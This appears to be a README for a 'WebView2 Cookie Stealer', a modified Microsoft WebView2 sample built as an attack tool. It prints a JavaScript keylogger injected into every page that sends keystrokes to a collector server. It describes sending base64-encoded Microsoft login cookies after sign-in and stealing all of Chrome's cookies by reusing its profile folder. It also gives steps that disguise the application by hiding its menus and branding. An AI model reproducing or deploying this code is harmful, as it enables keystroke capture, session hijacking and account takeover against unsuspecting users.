WebView2Samples

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Source Code

This code is a modified version of Microsoft’s WebView2 Code. The current code can be cleaned up and made much better.

Demo

Launch Example

WebView2 Cookie Stealer 1 launch

Usage Example

WebView2 Cookie Stealer 2 demo2

Usage

Tested on Windows 10 & 11.

When the binary is executed https://office.com/login is loaded up. A JavaScript keylogger is injected into every page and keystrokes are sent to http://127.0.0.1:8080. Furthermore, upon the user successfully authenticating the cookies for login.microsoftonline.com are base64-encoded and sent to http://127.0.0.1:8080 via an HTTP GET request.

Modifying JavaScript

If you’d like to modify the JavaScript the code that needs to be changed is shown below at line 1096 in AppWindow.cpp.

coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = "http://127.0.0.1:8080/keylog?k=";var l = "";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open("GET",link.concat(l), true);req.send();}", nullptr);

Stealing Chrome Cookies

WebView2 allows you to launch with an existing User Data Folder (UDF) rather than creating a new one. The UDF contains all passwords, sessions, bookmarks etc. Chrome’s UDF is located at C:Users<username>AppDataLocalGoogleChromeUser Data. We can simply tell WebView2 to start the instance using this profile and upon launch extract all cookies and transfer them to the attacker’s server.

The only catch is that WebView2 looks for a folder called EBWebView instead of User Data (not sure why). Copy the User Data folder and rename it to EBWebView.

Required Changes

  • At line 41 in app.cpp:

    • Change std::wstring userDataFolder(L""); to std::wstring userDataFolder(L"C:\Path\To\Temp");
    • The specified folder must contain the EBWebView folder which WebView2 will read from.
  • At line 40 in ScenarioCookieManagement.cpp:

    • Change GetCookiesHelper(L"https://login.microsoftonline.com"); to GetCookiesHelper(L"");

When GetCookiesHelper is invoked without any website being provided it will extract all cookies.

Note: This will not work with the current application if there is a large quantity of cookies because the application sends them using a GET Request which has a length limit.

Important Functions

If you’d like to make modifications to the binary you’ll find information about the important functions below.

  • AppStartPage.cpp – GetUri() function has the URL that is loaded upon binary execution.
  • ScenarioCookieManagement.cpp – SendCookies() function contains the IP address and port where the cookies are sent.
  • AppWindow.cpp – CallCookieFunction() function waits until the URL starts with https://www.office.com/?auth= and calls ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
  • WebView2APISample.rc – Cosmetic changes
    • Remove the menu bar by setting all POPUP values to "".
    • Change IDS_APP_TITLE and IDC_WEBVIEW2APISAMPLE. This is the name of the application in the title bar.
    • Change IDI_WEBVIEW2APISAMPLE and IDI_WEBVIEW2APISAMPLE_INPRIVATE and IDI_SMALL. These point to a .ico file which is the icon for this application.
  • Toolbar.cpp – itemHeight must be set to 0 to remove the top menu. This is already taken care of in this code.
  • AppWindow.cpp – LoadImage() should be commented out. This hides the blue splash image. This is already taken care of in this code.
  • App.cpp – new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); change the last param value to true. This hides the toolbar. This is already taken care of in this code.
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